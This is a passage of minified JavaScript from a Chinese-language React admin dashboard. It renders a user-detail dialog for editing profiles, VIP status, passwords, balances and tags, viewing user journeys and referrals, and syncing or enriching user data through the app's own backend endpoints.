De(`/api/admin/user/track?userId=${encodeURIComponent(n)}&limit=50`);ge!=null&&ge.success&&ge.tracks&&c(ge.tracks)}catch{c([])}try{const ge=await De(`/api/db/users/referrals?userId=${encodeURIComponent(n)}`);ge!=null&&ge.success&&ge.referrals&&h(ge.referrals)}catch{h([])}try{const ge=await De(`/api/admin/users/${encodeURIComponent(n)}/balance`);ge!=null&&ge.success&&ge.data?m(ge.data):m(null)}catch{m(null)}}catch(pe){console.error("Load user detail error:",pe)}finally{y(!1)}}}async function xt(){if(!(a!=null&&a.phone)){ie.info("用户未绑定手机号,无法同步");return}w(!0);try{const pe=await vt("/api/ckb/sync",{action:"full_sync",phone:a.phone,userId:a.id});pe!=null&&pe.success?(ie.success("同步成功"),Je()):ie.error("同步失败: "+(pe==null?void 0:pe.error))}catch(pe){console.error("Sync CKB error:",pe),ie.error("同步失败")}finally{w(!1)}}async function ct(){if(a){if(P.isVip&&!P.vipExpireDate.trim()){ie.error("开启 VIP 请填写有效到期日");return}k(!0);try{const pe={id:a.id,phone:T||void 0,nickname:O||void 0,tags:JSON.stringify(R),isVip:P.isVip,vipExpireDate:P.isVip?P.vipExpireDate:void 0,vipRole:P.vipRole||void 0,vipName:P.vipName||void 0,vipProject:P.vipProject||void 0,vipContact:P.vipContact||void 0,vipBio:P.vipBio||void 0},ge=await zt("/api/db/users",pe);ge!=null&&ge.success?(ie.success("保存成功"),Je(),r==null||r()):ie.error("保存失败: "+(ge==null?void 0:ge.error))}catch(pe){console.error("Save user error:",pe),ie.error("保存失败")}finally{k(!1)}}}const nt=()=>{z&&!R.includes(z)&&(D([...R,z]),Z(""))},gt=pe=>D(R.filter(ge=>ge!==pe));async function Rt(){if(a){if(!ne){ie.error("请输入新密码");return}if(ne!==xe){ie.error("两次密码不一致");return}if(ne.length<6){ie.error("密码至少 6 位");return}oe(!0);try{const pe=await zt("/api/db/users",{id:a.id,password:ne});pe!=null&&pe.success?(ie.success("修改成功"),fe(""),$("")):ie.error("修改失败: "+((pe==null?void 0:pe.error)||""))}catch{ie.error("修改失败")}finally{oe(!1)}}}async function gn(){if(!a)return;const pe=parseFloat(J);if(Number.isNaN(pe)||pe===0){ie.error("请输入有效金额(正数增加、负数扣减)");return}ce(!0);try{const ge=await vt(`/api/admin/users/${a.id}/balance/adjust`,{amount:pe,remark:V||void 0});ge!=null&&ge.success?(ie.success("余额已调整"),le(!1),Y(""),re(""),Je(),r==null||r()):ie.error("调整失败: "+((ge==null?void 0:ge.error)||""))}catch{ie.error("调整失败")}finally{ce(!1)}}async function mr(){if(!yt&&!Yt&&!In){ln("请至少输入手机号、微信号或 OpenID 中的一项");return}Re(!0),ln(null),lt(null);try{const pe=new URLSearchParams;yt&&pe.set("phone",yt),Yt&&pe.set("openId",Yt),In&&pe.set("wechatId",In);const ge=await De(`/api/admin/shensheshou/query?${pe}`);ge!=null&&ge.success&&ge.data?(lt(ge.data),a&&await wr(ge.data)):ln((ge==null?void 0:ge.error)||"未查询到数据,该用户可能未在神射手收录")}catch(pe){console.error("SSS query error:",pe),ln("请求失败,请检查神射手接口配置")}finally{Re(!1)}}async function wr(pe){if(a)try{await vt("/api/admin/shensheshou/enrich",{userId:a.id,phone:yt||a.phone||"",openId:Yt||a.openId||"",wechatId:In||a.wechatId||""}),Je()}catch(ge){console.error("SSS enrich error:",ge)}}async function As(){if(a){pr(!0),Hn(null);try{const pe={users:[{phone:a.phone||"",name:a.nickname||"",openId:a.openId||"",tags:R}]},ge=await vt("/api/admin/shensheshou/ingest",pe);ge!=null&&ge.success&&ge.data?Hn(ge.data):Hn({error:(ge==null?void 0:ge.error)||"推送失败"})}catch(pe){console.error("SSS ingest error:",pe),Hn({error:"请求失败"})}finally{pr(!1)}}}const Wr=pe=>{const Pt={view_chapter:Br,purchase:Og,match:Zn,login:co,register:co,share:Ss,bind_phone:mA,bind_wechat:sA,fill_profile:zc,visit_page:ml}[pe]||Ag;return s.jsx(Pt,{className:"w-4 h-4"})};return t?s.jsxs(s.Fragment,{children:[s.jsx(Dt,{open:t,onOpenChange:()=>e(),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-4xl max-h-[90vh] overflow-hidden",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(co,{className:"w-5 h-5 text-[#38bdac]"}),"用户详情",(a==null?void 0:a.phone)&&s.jsx(We,{className:"bg-green-500/20 text-green-400 border-0 ml-2",children:"已绑定手机"}),(a==null?void 0:a.isVip)&&s.jsx(We,{className:"bg-amber-500/20 text-amber-400 border-0",children:"VIP"})]})}),g?s.jsxs("div",{className:"flex items-center justify-center py-20",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):a?s.jsxs("div",{className:"flex flex-col h-[75vh]",children:[s.jsxs("div",{className:"flex items-center gap-4 p-4 bg-[#0a1628] rounded-lg mb-3",children:[s.jsx("div",{className:"w-16 h-16 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-2xl text-[#38bdac] shrink-0",children:a.avatar?s.jsx("img",{src:a.avatar,className:"w-full h-full rounded-full object-cover",alt:""}):((Is=a.nickname)==null?void 0:Is.charAt(0))||"?"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-wrap",children:[s.jsx("h3",{className:"text-lg font-bold text-white",children:a.nickname}),a.isAdmin&&s.jsx(We,{className:"bg-purple-500/20 text-purple-400 border-0",children:"管理员"}),a.hasFullBook&&s.jsx(We,{className:"bg-green-500/20 text-green-400 border-0",children:"全书已购"}),a.vipRole&&s.jsx(We,{className:"bg-amber-500/20 text-amber-400 border-0",children:a.vipRole})]}),s.jsxs("p",{className:"text-gray-400 text-sm mt-1",children:[a.phone?`📱 ${a.phone}`:"未绑定手机",a.wechatId&&` · 💬 ${a.wechatId}`,a.mbti&&` · ${a.mbti}`]}),s.jsxs("div",{className:"flex items-center gap-4 mt-1",children:[s.jsxs("p",{className:"text-gray-600 text-xs",children:["ID: ",a.id.slice(0,16),"…"]}),a.referralCode&&s.jsxs("p",{className:"text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"推广码:"}),s.jsx("code",{className:"text-[#38bdac] bg-[#38bdac]/10 px-1.5 py-0.5 rounded",children:a.referralCode})]})]})]}),s.jsxs("div",{className:"text-right shrink-0",children:[s.jsxs("p",{className:"text-[#38bdac] font-bold text-lg",children:["¥",(a.earnings||0).toFixed(2)]}),s.jsx("p",{className:"text-gray-500 text-xs",children:"累计收益"})]})]}),s.jsxs(yd,{value:C,onValueChange:E,className:"flex-1 flex flex-col overflow-hidden",children:[s.jsxs(Ll,{className:"bg-[#0a1628] border border-gray-700/50 p-1 mb-3 flex-wrap h-auto gap-1",children:[s.jsx(Zt,{value:"info",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:"基础信息"}),s.jsx(Zt,{value:"tags",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:"标签体系"}),s.jsxs(Zt,{value:"journey",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:[s.jsx(ml,{className:"w-3 h-3 mr-1"}),"用户旅程"]}),s.jsx(Zt,{value:"relations",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:"关系链路"}),s.jsxs(Zt,{value:"shensheshou",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:[s.jsx(li,{className:"w-3 h-3 mr-1"}),"用户资料完善"]})]}),s.jsxs(en,{value:"info",className:"flex-1 overflow-auto space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"手机号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"输入手机号",value:T,onChange:pe=>I(pe.target.value),disabled:!!(a!=null&&a.phone)}),(a==null?void 0:a.phone)&&s.jsx("p",{className:"text-xs text-gray-500",children:"编辑时手机号不可修改"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"昵称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"输入昵称",value:O,onChange:pe=>L(pe.target.value)})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-3 text-sm",children:[a.openId&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"微信 OpenID"}),s.jsx("p",{className:"text-gray-300 font-mono text-xs break-all",children:a.openId})]}),a.region&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg flex items-center gap-2",children:[s.jsx(tj,{className:"w-4 h-4 text-gray-500"}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs",children:"地区"}),s.jsx("p",{className:"text-white",children:a.region})]})]}),a.industry&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"行业"}),s.jsx("p",{className:"text-white",children:a.industry})]}),a.position&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"职位"}),s.jsx("p",{className:"text-white",children:a.position})]})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"推荐人数"}),s.jsx("p",{className:"text-2xl font-bold text-white",children:a.referralCount??0})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"待提现"}),s.jsxs("p",{className:"text-2xl font-bold text-yellow-400",children:["¥",(a.pendingEarnings??0).toFixed(2)]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg flex flex-col justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"当前余额"}),s.jsxs("p",{className:"text-2xl font-bold text-[#38bdac]",children:["¥",((f==null?void 0:f.balance)??0).toFixed(2)]})]}),s.jsx(te,{size:"sm",variant:"outline",className:"mt-2 border-[#38bdac]/50 text-[#38bdac] hover:bg-[#38bdac]/10 text-xs",onClick:()=>{Y(""),re(""),le(!0)},children:"调整余额"})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"创建时间"}),s.jsx("p",{className:"text-sm text-white",children:a.createdAt?new Date(a.createdAt).toLocaleDateString():"-"})]})]}),s.jsxs("div",{className:"grid grid-cols-1 md:grid-cols-2 gap-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(ej,{className:"w-4 h-4 text-yellow-400"}),s.jsx("span",{className:"text-white font-medium",children:"修改密码"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(se,{type:"password",className:"bg-[#162840] border-gray-700 text-white",placeholder:"新密码(至少6位)",value:ne,onChange:pe=>fe(pe.target.value)}),s.jsx(se,{type:"password",className:"bg-[#162840] border-gray-700 text-white",placeholder:"确认密码",value:xe,onChange:pe=>$(pe.target.value)}),s.jsx(te,{size:"sm",onClick:Rt,disabled:H||!ne||!xe,className:"bg-yellow-500/20 hover:bg-yellow-500/30 text-yellow-400 border border-yellow-500/40",children:H?"保存中...":"确认修改"})]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-amber-500/20",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(yl,{className:"w-4 h-4 text-amber-400"}),s.jsx("span",{className:"text-white font-medium",children:"设成超级个体"})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx(X,{className:"text-gray-400 text-sm",children:"VIP 会员"}),s.jsx(kt,{checked:P.isVip,onCheckedChange:pe=>q(ge=>({...ge,isVip:pe}))})]}),P.isVip&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"到期日"}),s.jsx(se,{type:"date",className:"bg-[#162840] border-gray-700 text-white text-sm",value:P.vipExpireDate,onChange:pe=>q(ge=>({...ge,vipExpireDate:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"角色"}),s.jsxs("select",{className:"w-full bg-[#162840] border border-gray-700 text-white rounded px-2 py-1.5 text-sm",value:P.vipRole,onChange:pe=>q(ge=>({...ge,vipRole:pe.target.value})),children:[s.jsx("option",{value:"",children:"请选择"}),B.map(pe=>s.jsx("option",{value:pe.name,children:pe.name},pe.id))]})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"展示名"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"创业老板排行展示名",value:P.vipName,onChange:pe=>q(ge=>({...ge,vipName:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"项目"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"如:某某科技",value:P.vipProject,onChange:pe=>q(ge=>({...ge,vipProject:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"联系方式"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"微信/手机等",value:P.vipContact,onChange:pe=>q(ge=>({...ge,vipContact:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"简介"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"简短介绍",value:P.vipBio,onChange:pe=>q(ge=>({...ge,vipBio:pe.target.value}))})]})]})]})]}),a.isVip&&s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-amber-500/20",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(yl,{className:"w-4 h-4 text-amber-400"}),s.jsx("span",{className:"text-white font-medium",children:"VIP 信息"}),s.jsx(We,{className:"bg-amber-500/20 text-amber-400 border-0 text-xs",children:a.vipRole||"VIP"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-3 text-sm",children:[a.vipName&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"展示名:"}),s.jsx("span",{className:"text-white",children:a.vipName})]}),a.vipProject&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"项目:"}),s.jsx("span",{className:"text-white",children:a.vipProject})]}),a.vipContact&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"联系方式:"}),s.jsx("span",{className:"text-white",children:a.vipContact})]}),a.vipExpireDate&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"到期时间:"}),s.jsx("span",{className:"text-white",children:new Date(a.vipExpireDate).toLocaleDateString()})]})]}),a.vipBio&&s.jsx("p",{className:"text-gray-400 text-sm mt-2",children:a.vipBio})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-purple-500/20",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(yi,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"微信归属"}),s.jsx("span",{className:"text-gray-500 text-xs",children:"该用户归属在哪个微信号下"})]}),s.jsxs("div",{className:"flex gap-2 items-center",children:[s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white flex-1",placeholder:"输入归属微信号(如 wxid_xxxx)",value:K,onChange:pe=>Ue(pe.target.value)}),s.jsxs(te,{size:"sm",onClick:async()=>{if(!(!K||!a))try{await zt("/api/db/users",{id:a.id,wechatId:K}),ie.success("已保存微信归属"),Je()}catch{ie.error("保存失败")}},className:"bg-purple-500/20 hover:bg-purple-500/30 text-purple-400 border border-purple-500/30 shrink-0",children:[s.jsx(bn,{className:"w-4 h-4 mr-1"})," 保存"]})]}),a.wechatId&&s.jsxs("p",{className:"text-gray-500 text-xs mt-2",children:["当前归属:",s.jsx("span",{className:"text-purple-400",children:a.wechatId})]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Ss,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx("span",{className:"text-white font-medium",children:"存客宝同步"})]}),s.jsx(te,{size:"sm",onClick:xt,disabled:N||!a.phone,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:N?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-1 animate-spin"})," 同步中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-1"})," 同步数据"]})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4 text-sm",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"同步状态:"}),a.ckbSyncedAt?s.jsx(We,{className:"bg-green-500/20 text-green-400 border-0 ml-1",children:"已同步"}):s.jsx(We,{className:"bg-gray-500/20 text-gray-400 border-0 ml-1",children:"未同步"})]}),s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"最后同步:"}),s.jsx("span",{className:"text-gray-300 ml-1",children:a.ckbSyncedAt?new Date(a.ckbSyncedAt).toLocaleString():"-"})]})]})]})]}),s.jsxs(en,{value:"tags",className:"flex-1 overflow-auto space-y-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(zc,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx("span",{className:"text-white font-medium",children:"用户标签"}),s.jsx("span",{className:"text-gray-500 text-xs",children:"基于《一场 Soul 的创业实验》维度打标"})]}),s.jsxs("div",{className:"mb-3 p-2.5 bg-[#38bdac]/5 border border-[#38bdac]/20 rounded-lg flex items-center gap-2 text-xs text-gray-400",children:[s.jsx(Mg,{className:"w-3.5 h-3.5 text-[#38bdac] shrink-0"}),"命中的标签自动高亮 · 系统根据行为轨迹和填写资料自动打标 · 手动点击补充或取消"]}),s.jsx("div",{className:"mb-4 space-y-3",children:[{category:"身份类型",tags:["创业者","打工人","自由职业","学生","投资人","合伙人"]},{category:"行业背景",tags:["电商","内容","传统行业","科技/AI","金融","教育","餐饮"]},{category:"痛点标签",tags:["找资源","找方向","找合伙人","想赚钱","想学习","找情感出口"]},{category:"付费意愿",tags:["高意向","已付费","观望中","薅羊毛"]},{category:"MBTI",tags:["ENTJ","INTJ","ENFP","INFP","ENTP","INTP","ESTJ","ISFJ"]}].map(pe=>s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1.5",children:pe.category}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:pe.tags.map(ge=>s.jsxs("button",{type:"button",onClick:()=>{R.includes(ge)?gt(ge):D([...R,ge])},className:`px-2 py-0.5 rounded text-xs border transition-all ${R.includes(ge)?"bg-[#38bdac]/20 border-[#38bdac]/50 text-[#38bdac]":"bg-transparent border-gray-700 text-gray-500 hover:border-gray-500 hover:text-gray-300"}`,children:[R.includes(ge)?"✓ ":"",ge]},ge))})]},pe.category))}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-3",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-2",children:"已选标签"}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-3 min-h-[32px]",children:[R.map((pe,ge)=>s.jsxs(We,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0 pr-1",children:[pe,s.jsx("button",{type:"button",onClick:()=>gt(pe),className:"ml-1 hover:text-red-400",children:s.jsx(ir,{className:"w-3 h-3"})})]},ge)),R.length===0&&s.jsx("span",{className:"text-gray-600 text-sm",children:"暂未选择标签"})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white flex-1",placeholder:"自定义标签(回车添加)",value:z,onChange:pe=>Z(pe.target.value),onKeyDown:pe=>pe.key==="Enter"&&nt()}),s.jsx(te,{onClick:nt,className:"bg-[#38bdac] hover:bg-[#2da396]",children:"添加"})]})]})]}),(()=>{const pe=a.tags||a.ckbTags||"";let ge=[];try{const On=typeof pe=="string"?JSON.parse(pe||"[]"):[];ge=Array.isArray(On)?On:typeof pe=="string"?pe.split(","):[]}catch{ge=typeof pe=="string"?pe.split(","):[]}const Pt=ge.map(On=>String(On).trim()).filter(Boolean);return Pt.length===0?null:s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-2",children:[s.jsx(zc,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"存客宝标签"})]}),s.jsx("div",{className:"flex flex-wrap gap-2",children:Pt.map((On,Qs)=>s.jsx(We,{className:"bg-purple-500/20 text-purple-400 border-0",children:On},Qs))})]})})()]}),s.jsxs(en,{value:"journey",className:"flex-1 overflow-auto",children:[s.jsxs("div",{className:"mb-3 p-3 bg-[#0a1628] rounded-lg flex items-center gap-2",children:[s.jsx(ml,{className:"w-4 h-4 text-[#38bdac]"}),s.jsxs("span",{className:"text-gray-400 text-sm",children:["记录用户从注册到付费的完整行动路径,共 ",o.length," 条记录"]})]}),s.jsx("div",{className:"space-y-2",children:o.length>0?o.map((pe,ge)=>s.jsxs("div",{className:"flex items-start gap-3 p-3 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex flex-col items-center",children:[s.jsx("div",{className:"w-8 h-8 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-[#38bdac]",children:Wr(pe.action)}),ge0?u.map((pe,ge)=>{var On;const Pt=pe;return s.jsxs("div",{className:"flex items-center justify-between p-2 bg-[#162840] rounded",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-6 h-6 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-xs text-[#38bdac]",children:((On=Pt.nickname)==null?void 0:On.charAt(0))||"?"}),s.jsx("span",{className:"text-white text-sm",children:Pt.nickname})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[Pt.status==="vip"&&s.jsx(We,{className:"bg-green-500/20 text-green-400 border-0 text-xs",children:"已购"}),s.jsx("span",{className:"text-gray-500 text-xs",children:Pt.createdAt?new Date(Pt.createdAt).toLocaleDateString():""})]})]},Pt.id||ge)}):s.jsx("p",{className:"text-gray-500 text-sm text-center py-4",children:"暂无推荐用户"})})]})}),s.jsxs(en,{value:"shensheshou",className:"flex-1 overflow-auto space-y-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(li,{className:"w-5 h-5 text-[#38bdac]"}),s.jsx("span",{className:"text-white font-medium",children:"用户资料完善"}),s.jsx("span",{className:"text-gray-500 text-xs",children:"通过多维度查询神射手数据,自动回填用户基础信息"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-2 mb-3",children:[s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-500 text-xs mb-1 block",children:"手机号"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white",placeholder:"11位手机号",value:yt,onChange:pe=>nn(pe.target.value)})]}),s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-500 text-xs mb-1 block",children:"微信号"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white",placeholder:"微信 ID",value:In,onChange:pe=>Mt(pe.target.value)})]}),s.jsxs("div",{className:"col-span-2",children:[s.jsx(X,{className:"text-gray-500 text-xs mb-1 block",children:"微信 OpenID"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white",placeholder:"openid_xxxx(自动填入)",value:Yt,onChange:pe=>rn(pe.target.value)})]})]}),s.jsx(te,{onClick:mr,disabled:ye,className:"w-full bg-[#38bdac] hover:bg-[#2da396] text-white",children:ye?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-1 animate-spin"})," 查询并自动回填中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(Na,{className:"w-4 h-4 mr-1"})," 查询并自动完善用户资料"]})}),s.jsx("p",{className:"text-gray-600 text-xs mt-2",children:"查询成功后,神射手返回的标签将自动同步到该用户"}),Tt&&s.jsx("div",{className:"mt-3 p-3 bg-red-500/10 border border-red-500/30 rounded-lg text-red-400 text-sm",children:Tt}),Le&&s.jsxs("div",{className:"mt-3 space-y-3",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-3",children:[s.jsxs("div",{className:"p-3 bg-[#162840] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"神射手 RFM 分"}),s.jsx("p",{className:"text-2xl font-bold text-[#38bdac]",children:Le.rfm_score??"-"})]}),s.jsxs("div",{className:"p-3 bg-[#162840] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"用户等级"}),s.jsx("p",{className:"text-2xl font-bold text-white",children:Le.user_level??"-"})]})]}),Le.tags&&Le.tags.length>0&&s.jsxs("div",{className:"p-3 bg-[#162840] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-2",children:"神射手标签"}),s.jsx("div",{className:"flex flex-wrap gap-2",children:Le.tags.map((pe,ge)=>s.jsx(We,{className:"bg-[#38bdac]/10 text-[#38bdac] border border-[#38bdac]/20",children:pe},ge))})]}),Le.last_active&&s.jsxs("div",{className:"text-sm text-gray-500",children:["最近活跃:",Le.last_active]})]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2 mb-1",children:[s.jsx(li,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"推送用户数据到神射手"})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:"将本用户信息(手机号、昵称、标签等)同步至神射手,自动完善用户画像"})]}),s.jsx(te,{onClick:As,disabled:Rn||!a.phone,variant:"outline",className:"border-purple-500/40 text-purple-400 hover:bg-purple-500/10 bg-transparent shrink-0 ml-4",children:Rn?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-1 animate-spin"})," 推送中"]}):s.jsxs(s.Fragment,{children:[s.jsx(li,{className:"w-4 h-4 mr-1"})," 推送"]})})]}),!a.phone&&s.jsx("p",{className:"text-yellow-500/70 text-xs",children:"⚠ 用户未绑定手机号,无法推送"}),Pn&&s.jsx("div",{className:"mt-3 p-3 bg-[#162840] rounded-lg text-sm",children:Pn.error?s.jsx("p",{className:"text-red-400",children:String(Pn.error)}):s.jsxs("div",{className:"space-y-1",children:[s.jsxs("p",{className:"text-green-400 flex items-center gap-1",children:[s.jsx(Mg,{className:"w-4 h-4"})," 推送成功"]}),Pn.enriched!==void 0&&s.jsxs("p",{className:"text-gray-400",children:["自动补全标签数:",String(Pn.new_tags_added??0)]})]})})]})]})]}),s.jsxs("div",{className:"flex justify-end gap-2 pt-3 border-t border-gray-700 mt-3",children:[s.jsxs(te,{variant:"outline",onClick:e,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"关闭"]}),s.jsxs(te,{onClick:ct,disabled:v,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),v?"保存中...":"保存修改"]})]})]}):s.jsx("div",{className:"text-center py-12 text-gray-500",children:"用户不存在"})]})}),s.jsx(Dt,{open:W,onOpenChange:le,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsx(_t,{children:"调整余额"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"调整金额(元)"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white mt-1",placeholder:"正数增加,负数扣减,如 10 或 -5",value:J,onChange:pe=>Y(pe.target.value)})]}),s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"备注(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white mt-1",placeholder:"如:活动补偿",value:V,onChange:pe=>re(pe.target.value)})]})]}),s.jsxs("div",{className:"flex justify-end gap-2",children:[s.jsx(te,{variant:"outline",onClick:()=>le(!1),className:"border-gray-600 text-gray-300",children:"取消"}),s.jsx(te,{onClick:gn,disabled:ue,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:ue?"提交中...":"确认调整"})]})]})})]}):null}function hP(){const t=Ci(),[e,n]=b.useState(!0),[r,a]=b.useState(!0),[i,o]=b.useState(!0),[c,u]=b.useState([]),[h,f]=b.useState([]),[m,g]=b.useState(0),[y,N]=b.useState(0),[w,v]=b.useState(0),[k,C]=b.useState(0),[E,T]=b.useState(null),[I,O]=b.useState(null),[L,R]=b.useState(!1),[D,z]=b.useState(0),[Z,ne]=b.useState(!1),[fe,xe]=b.useState("week"),[$,H]=b.useState(null),[oe,P]=b.useState(!1),q=Y=>{const 